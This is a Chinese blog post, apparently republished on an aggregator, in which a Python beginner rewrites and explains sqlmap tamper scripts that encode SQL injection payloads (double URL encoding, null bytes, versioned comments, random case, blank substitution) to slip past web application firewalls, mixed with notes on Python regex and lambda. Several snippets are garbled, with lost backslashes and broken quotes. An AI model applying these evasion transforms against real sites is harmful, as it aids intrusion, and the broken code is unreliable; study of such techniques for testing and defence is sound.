python的编码模块char_关于sqlmap当中tamper脚本编码绕过原理的一些总结(学习python没多久有些地方肯定理解有些小问题)...

sqlmap中tamper脚本分析编写

置十对一些编码实现的脚本,很多sqlmap里面需要引用的无法实现,所以有一部分例如keywords就只写写了几个引用了一下,其实这里很多脚本运用是可以绕过安全狗的。本人也是刚开始学习python没多久,有一些错误的话请指正

chardoubleencode.py:对给定的payload全部字符使用双重url编码:

import string

import sys

payload= sys.argv[1]

urlencode= payload

if payload:

urlencode=" "

i=0

while i< len(payload):

if payload[i] == ‘%‘and payload in string.hexdigits[i+1:i+2] and payload in string.hexdigits[i+2:i+3] and (i < len(payload)-2) :

urlencode += ‘%%25%s‘ % payload[i + 1:i + 3]

i+=3

else:

urlencode += ‘%%25%.X‘ % ord(payload[i])

i+=1

print urlencode

apostrophenullencode.py:用非法双字节Unicode字符替换单引号

import string

import sys

payload= sys.argv[1]

payload=payload.replace(‘‘‘, "%00%27") if payload else payload

print payload

appendnullbyte.py:在有效载荷的结束位置加载null字节字符编码

import string

import sys

payload= sys.argv[1]

print "%s%%00" % payload if payload else payload

space2morehash.py:将空格替换为#,并添加一个随机字符串和换行符

#coding:utf-8

import requests

import random

import string

import sys

i=0

retVal=‘ ‘

payload ="SDSDS SDFcxfdf &*(tygv #djlsj d "

if payload:

for i in xrange(len(payload)):

if payload[i].isspace():

randomStr = ‘‘.join(random.choice(string.ascii_uppercase + string.ascii_lowercase)for _ in xrange(random.randint(6, 11)))

retVal += "%%23%s%%0A" % randomStr

elif payload[i] == ‘#‘ or payload[i:i + 3] == ‘-- ‘: #对于我们原本的注释语句当中后面的就不做注释符加换行符的操作了直接照加了。

retVal += payload[i:]

break

else:

retVal += payload[i] #文本照加

print retVal

bluecoat.py:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=

def process(match):

word = match.group(‘word‘)

if word.upper() in kb.keywords:

return match.group().replace(word, "%s%%09" % word)

else:

return match.group()

retVal = payload

if payload:

retVal = re.sub(r"(?P[A-Z_]+)(?=[^w(]|)", lambda match: process(match), retVal)

retVal = re.sub(r"s*=s*", " LIKE ", retVal)

retVal = retVal.replace("%09 ", "%09")

return retVal

附:匿名函数lambda:

1. 将lambda函数赋值给一个变量,通过这个变量间接调用该lambda函数。

2. 将lambda函数赋值给其他函数,从而将其他函数用该lambda函数替换。

3. 将lambda函数作为参数传递给其他函数。

4. 将lambda函数作为其他函数的返回值,返回给调用者。

>>> foo = [2, 18, 9, 22, 17, 24, 8, 12, 27]

>>> print filter(lambda x: x % 3 == 0, foo)

[18, 9, 24, 12, 27]

>>> print map(lambda x: x * 2 + 10, foo)

[14, 46, 28, 54, 44, 58, 26, 34, 64]

>>> print reduce(lambda x, y: x + y, foo)

139

附:python当中的group,match:

group:group()在正则表达式中用于获取分段截获的字符串.

#coding:utf-8

import re

content = ‘Hello 123456789 Word_This is just a test 666 Test‘

result = re.match(‘^Hellos(d+).*?(d+)sTest‘, content) # 注意(d+) 有括号,+号表示匹配一次或多次

print(result)

print(result.group()) # print(result.group(0)) 同样效果

print(result.groups())

print(result.span())

print(result.group(2))

result:

C:Python27python.exe C:/Users/Dell/PycharmProjects/pythonstudy/test.py

Hello 123456789 Word_This is just a test 666 Test

(‘123456789‘, ‘666‘)

(0, 49)

666

space2mysqldash.py:将空格替换为 -- ,并追随一个换行符

#coding:utf-8

import string

import random

payload=‘fff dddd sds‘

retVal = ""

if payload:

for i in xrange(len(payload)):

if payload[i].isspace():

retVal += "--%0A"

elif payload[i] == ‘#‘ or payload[i:i + 3] == ‘-- ‘:

retVal += payload[i:]

break

else:

retVal += payload[i]

print retVal

re的sub模块

re是regular expression的所写,表示正则表达式,sub是substitute的所写,表示替换;

re.sub是个正则表达式方面的函数,用来实现通过正则表达式,实现比普通字符串

re.sub共有五个参数,其中三个必选参数:pattern, repl, string,两个可选参数:count, flags.

pattern参数:反斜杠加数字(N),则对应着匹配的组(matched group),比如6,表示匹配前面pattern中的第6个group

#coding:utf-8

import string

import random

import re

inputStr = "hello crifan, nihao crifan"

replacedStr = re.sub(r"hello (w+), nihao 1", "crifanli", inputStr)

#此句中 r 表示去掉反斜杠的转义机制

print ("replacedStr=",replacedStr) #crifanli

C:Python27python.exe C:/Users/Dell/PycharmProjects/pythonstudy/白帽课程/test2.py

(‘replacedStr=‘, ‘crifanli‘)

在此处我们利用re.sub把整个字符串,换成crifanli,这里的反斜杠加数字(N),表示对应着匹配的组(matched group),即我们第一个w。

repl参数:如果repl是字符串的话,其中的任何反斜杠转义字符,都会被处理的,例如

:会被处理为对应的换行符;:会被处理为回车符;

#coding:utf-8

import string

import random

import re

inputStr = "hello crifan, nihao crifan"

replacedStr = re.sub(r"hello (w+), (w+) 1", "g", inputStr)

print("replacedStr =",replacedStr) #crifan

C:Python27python.exe C:/Users/Dell/PycharmProjects/pythonstudy/白帽课程/test2.py

(‘replacedStr =‘, ‘nihao‘)

#coding:utf-8

import string

import random

import re

inputStr = "hello crifan, nihao crifan"

replacedStr = re.sub(r"hello (w+), (w+) 1", "g", inputStr)

print("replacedStr =",replacedStr) #crifan

C:Python27python.exe C:/Users/Dell/PycharmProjects/pythonstudy/白帽课程/test2.py

(‘replacedStr =‘, ‘crifan‘)

对应的带命名的组(named group)的版本是:

#coding:utf-8

import string

import random

import re

inputStr = "hello crifan, nihao crifan"

replacedStr = re.sub(r"hello (?Pw+), (w+) (?P=xss)", "g g", inputStr)

print("replacedStr =",replacedStr) #crifan

当repl是函数的时候:

import re

def pythonReSubDemo():

"""

demo Pyton re.sub

"""

inputStr = "hello 123 world 456"

def _add111(matched): #match可以使我们自己定义一个参数

intStr = matched.group("number") #匹配到的是123

intValue = int(intStr)

addedValue = intValue + 111 #234

addedValueStr = str(addedValue) #转换为字符串形式

return addedValueStr

replacedStr = re.sub("(?Pd+)", _add111, inputStr) #这里匹配的是number即数字,上个sqlmap的脚本我们匹配到的是word即单词

print("replacedStr=",replacedStr)#hello 234 world 567

if __name__=="__main__":

pythonReSubDemo()

string参数:表示要被处理,要被替换的那个string字符串。

count:

versionedkeywords.py:内敛注释绕过

import re

payload=‘ 1 and 1=1 union select * from admin‘

keywords=[‘AND‘,‘UNION‘,‘SELECT‘,‘ADMIN‘,‘FROM‘]

def process(match):

word = match.group(‘word‘)

if word.upper() in keywords:

return match.group().replace(word, "/*!%s*/" % word)

else:

return match.group()

retVal = payload

if payload:

retVal = re.sub(r"(?<=W)(?P[A-Za-z_]+)(?=[^w(]|)", lambda match: process(match), retVal)

retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/")

print retVal

space2mysqlblank.py:将空格替换为其他空格符号(‘%09‘, ‘%0A‘, ‘%0C‘, ‘%0D‘, ‘%0B‘)

#coding:utf-8

import re

import random

payload=‘dfsdsfsd 87686fg dsfsf" "\ dzfs a‘

blanks = (‘%09‘, ‘%0A‘, ‘%0C‘, ‘%0D‘, ‘%0B‘)

retVal = payload

if payload:

retVal = ""

quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):

if not firstspace: #就是TRUE的意思,可以继续进行下面的if判断

if payload[i].isspace():

firstspace = True #如果为空那么就会设置为TRUE,继续进行循环

retVal += random.choice(blanks)

continue

elif payload[i] == ‘‘‘:

quote = not quote #这里是前面我们设定了quote是false,在第一次遇到的时候就会变成TRUE,第二次完成闭合的时候就会返回为False。

elif payload[i] == ‘"‘:

doublequote = not doublequote

elif payload[i] == " " and not doublequote and not quote: #当我们满足上面两个条件任意一个之后,那么此时他们都是TRUE,not true 自然就是False,所以在双引号,斜杠当中的空格是不会被随机字符替换的。

retVal += random.choice(blanks)

continue

retVal += payload[i]

print retVal

equaltolike.py:将>替换为GREATEST,绕过对>的过

retVal = payload

if payload:

retVal = re.sub(r"s*=s*", " LIKE ", retVal)

return retVal

charunicodeencode.py:适用字符串的unicode编码

import string

payload=‘union select * from admin and 1=1‘

retVal = payload

if payload:

retVal = ""

i = 0

while i < len(payload):

if payload[i] == ‘%‘ and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:

retVal += "%%u00%s" % payload[i + 1:i + 3]

i += 3

else:

retVal += ‘%%u%.4X‘ % ord(payload[i])

i += 1

print retVal

charencode.py:url编码

import string

payload=‘union select * from admin and 1=1‘

retVal = payload

if payload:

retVal = ""

i = 0

while i < len(payload):

if payload[i] == ‘%‘ and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:

retVal += payload[i:i + 3]

i += 3

else:

retVal += ‘%%%.2X‘ % ord(payload[i])

i += 1

print retVal

randomcase.py:随机大小写

#coding:utf-8

import random

import re

keywords=[‘‘]

payload=‘union select * from admin and 1=1 ‘

retVal = payload

if payload:

for match in re.finditer(r"[A-Za-z_]+", retVal): #把所有的符合匹配的组都找了出来

word = match.group()

print word

if word.upper() in keywords:

while True:

_ = ""

for i in xrange(len(word)):

_ += word[i].upper() if randomRange(0, 1) else word[i].lower()

if len(_) > 1 and _ not in (_.lower(), _.upper()):

break

retVal = retVal.replace(word, _)

print retVal

re.finditer与re.findall模块

re.findall()如果可以匹配返回的是一个列表,re.finditer()返回的是一个迭代器,需要对其进行遍历,才能获取数据。

import re

def main():

content = ‘八神是我的好朋友,他的手机电话是18381665314, 他的QQ是1911966573, 他女朋友的电话是18381665315, QQ:1911966574 !‘

regex = re.compile(r‘d{11}‘)

tels = regex.findall(content)

print(tels)

if __name__ == ‘__main__‘:

main()

# [‘18381665314‘, ‘18381665315‘]

percentage.py:asp允许每个字符前面添加一个%号

import string

payload=‘union select * from admin and 1=1 ‘

if payload:

retVal = ""

i = 0

while i < len(payload):

if payload[i] == ‘%‘ and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:

retVal += payload[i:i + 3]

i += 3

elif payload[i] != ‘ ‘:

retVal += ‘%%%s‘ % payload[i]

i += 1

else:

retVal += payload[i]

i += 1

print retVal

modsecurityversioned.py:过滤空格,包含完整的查询版本注释

#coding:utf-8

import random

payload=‘union select * from admin and 1=1 -- skdh ‘

retVal = payload

if payload:

postfix = ‘‘

for comment in (‘#‘, ‘--‘, ‘/*‘):

if comment in payload:

postfix = payload[payload.find(comment):] #锁定到了注释符之前的位置,在这之后的都归为注释内容

print postfix

payload = payload[:payload.find(comment)] #锁定到了第一个注释符的元素位置,在前面的都归为payload

print payload

break

if ‘ ‘ in payload:

retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(‘ ‘)], ‘444‘, payload[payload.find(‘ ‘) + 1:], postfix)

#最后一个就是当我们遇到注释符号之后就拍出在版本绕过之外了,第二个就是一个随机数但是在这里我把它设为了一个固定的数字,第三个

print retVal

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/528243.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

java的多态怎么理解_JAVA多态的理解

面向对象的三大特性&#xff1a;封装、继承、多态&#xff0c;其中最难理解的就是多态以下是网上某大神给的一个例子&#xff1a;1.继承关系class A {public String show(D obj){return ("A and D");}public String show(A obj){return ("A and A");}}clas…

java class isassignablefrom_Java之——Class的isAssignableFrom方法

转载请注明出处 https://blog.csdn.net/l1028386804/article/details/80508540Class的isAssignableFrom方法定义如下public native boolean isAssignableFrom(Class ? cls);由方法签名可见是一个本地方法 即C代码编写的。以下是JDK中的注释Determines if the class or interfa…

java中堆栈的基本操作_玩儿转队列和栈的基本操作及其应用:Java 版

队列的基本操作队列入队出队实现队列是种先进先出的数据结构。队列的基本操作主要是入队和出队。数据从队尾进入队列&#xff0c;从队首出队列。下面来写一个简单的队列:public class MyQueue {private List data;private int pointer;public MyQueue() {data new ArrayList&l…

java规定日期格式输出_Java格式化输出日期百分比时间等

Java格式化输出Java的格式化输出等同于String.Format&#xff0c;与C有很大的相似&#xff0c;比如System.out.printf(“%8.2f”, x);在printf中&#xff0c;可以使用多个参数&#xff0c;例如&#xff1a;System.out.printf(“Hello, %s. Next year, you’ll be %d”, name, a…

java界面编辑教程_java程序设计基础教程第六章图形用户界面编辑.docx

java程序设计基础教程第六章图形用户界面编辑.docx还剩27页未读&#xff0c;继续阅读下载文档到电脑&#xff0c;马上远离加班熬夜&#xff01;亲&#xff0c;很抱歉&#xff0c;此页已超出免费预览范围啦&#xff01;如果喜欢就下载吧&#xff0c;价低环保&#xff01;内容要点…

c盘java文件误删_java获取C盘下的隐藏目录文件名称

题记—— 执剑天涯&#xff0c;从你的点滴积累开始&#xff0c;所及之处&#xff0c;必精益求精&#xff0c;即是折腾每一天。网易云课堂在Java中&#xff0c; File类用来将文件或者文件夹封装成对象&#xff0c;方便对文件与文件夹的属性信息进行操作。File对象可以作为参数传…

对java这门课程的认识_关于java课程的总结

前言本次博客主要内容为此次三次作业的总结&#xff0c;整门java课程学习的总结&#xff0c;以及在此次java课程中的收获&#xff0c;和对课程的意见。作业过程总结第一次作业主要考察的是对程序的可扩展性&#xff0c;实现开闭原则非常重要&#xff0c;因为程序随着时间&#…

linux php和java环境变量配置_Linux下配置Java环境变量

一般来说&#xff0c;我们都会把Java安装到 /usr/local 目录 或者 /opt 目录下。这里假设java安装包已解压在了 /opt下&#xff0c;具体目录为&#xff1a;/opt/java8/java1.8.0_45目录(注意&#xff1a;如果是生产环境中&#xff0c;一定要root用户来安装配置)。下面我们来配置…

java多线程多态_Java学习之多线程

多线程&#xff1a;(一)进程与线程进程特点并发与并行的区别&#xff1a;多线程编程的好处&#xff1a;(二)多线程的建立1&#xff0c;通过继承Thread类&#xff0c;代码如下&#xff1a;class MyThread extendsThread {private static int K 10;//类共享变量private int M10;…

java 执行存储过程报语法错误_为什么我在批处理从Java上执行PostgreSQL上的存储过程时收到错误通知“结果不合理”?...

我在数据库中有这个过程&#xff1a;CREATE OR REPLACE FUNCTION replacePageRelevance(id INT, value REAL) RETURNS VOID AS $$BEGININSERT INTO pageRelevance VALUES (id,value);EXCEPTION WHEN unique_violation THENUPDATE pageRelevance SET relevance value WHERE pag…

python staticmethod有什么意义_关于静态方法:python中的@staticmethod有什么意义?

为了更好地理解静态方法在Python中的工作方式&#xff0c;我开发了这个简短的测试/示例代码。class TestClass:def __init__(self, size):self.size sizedef instance(self):print("regular instance method - with self")staticmethoddef static():print("sta…

java fx border_JavaFx UI控件与代码间的绑定方法

JavaFx初探一&#xff0c;UI控件的使用&#xff0c;具体内容如下方式一&#xff1a;使用纯代码直接new view控件&#xff0c;这样就不涉及到与fxml文件之间的交互了方式二&#xff1a;使用fxml编写界面文件&#xff0c;用可视化工具scene builder 来构建交互界面。分两种方式绑…

java mysql ssl警告_连接到MySQL数据库时有关SSL连接的警告

用于初始化与MySQL服务器的连接的默认值在最近已更改&#xff0c;并且(通过快速查看堆栈溢出时最流行的问题和答案)新值引起了很多混乱。更糟糕的是&#xff0c;标准建议似乎是完全禁用SSL&#xff0c;这在制造过程中有点麻烦。现在&#xff0c;如果您的连接确实没有暴露给网络…

如何将php改成mp4,PHP 将视频转成 MP4 并获取视频预览图(用到ffmpeg)

搜索热词下面是编程之家 jb51.cc 通过网络收集整理的代码片段。编程之家小编现在分享给大家&#xff0c;也给大家做个参考。flv_convert_get_thumb(input.avi,output.jpg,output.ogm);// code provided and updated by steve of PHPsnaps ! thanks// accepts:// 1: the input v…

php无嵌套遍历多维数组,不递归怎么遍历多维数组(维数不定)

不递归如何遍历多维数组(维数不定)现有数组$tree array (array (ID > 1,PARENT > 0,NAME > 祖父,CHILD > array (array (ID > 3,PARENT > 1,NAME > 叔伯),array (ID > 4,PARENT > 1,NAME > 父亲,CHILD > array (array (ID > 5,PARENT >…

c 如何操作php,thinkphp的c方法使用示例

1.C方法的作用a. 加载设置用户的配置&#xff0c;保存在一个C函数内的静态变量$_config 中b. 读取用户的配置 (从$_congig 中读取)2. 需求分析:1.设置变量1.二维数组C(array(DB_PASSWORD>root,DB_USERNAME>root),DB);C(DB.USER_NAME,XIAOCHEN);2.一维数组C(USER_NAME,小陈…

php seaslog安装,浅谈win10下安装php seaslog扩展的方法

本篇文章给大家分享一下win10 php安装seaslog扩展的方法。有一定的参考价值&#xff0c;有需要的朋友可以参考一下&#xff0c;希望对大家有所帮助。【推荐学习&#xff1a;《PHP视频教程》】一、检查系统环境情况使用phpinfo()检查系统环境情况&#xff0c;找到需要下载的配置…

php 图片 处理,php图片处理类

本篇文章主要介绍php图片处理类&#xff0c;感兴趣的朋友参考下&#xff0c;希望对大家有所帮助。示例代码如下&#xff1a;<?php /*已知问题&#xff1a;1.在图片缩放功能中&#xff0c;使用imagecreatetruecolor函数创建画布&#xff0c;并使用透明处理算法&#xff0c;但…

php里push的用法,php array_push函数怎么用?

php array_push函数用于向数组尾部插入一个或多个元素&#xff0c;其语法是array_push(array,value1,value2...)&#xff0c;参数array必需&#xff0c;指规定一个数组&#xff1b;value1必需&#xff0c;指规定要添加的值。php array_push函数怎么用&#xff1f;定义和用法arr…

php 内容编码错误,PHP输出缓冲,ob_gzhandler引起的内容编码错误?

应用程序的输出应该只包含一个输出编码.如果您有多个编码方式不同的块,那么浏览器将得到一个无法使用的结果.因此编码错误.Kohana本身已经使用了输出缓冲区.如果你想将它与你的ob_gzhandler输出缓冲区结合起来,你需要在kohana初始化它之前启动你的缓冲区.那是因为输出缓冲区是可…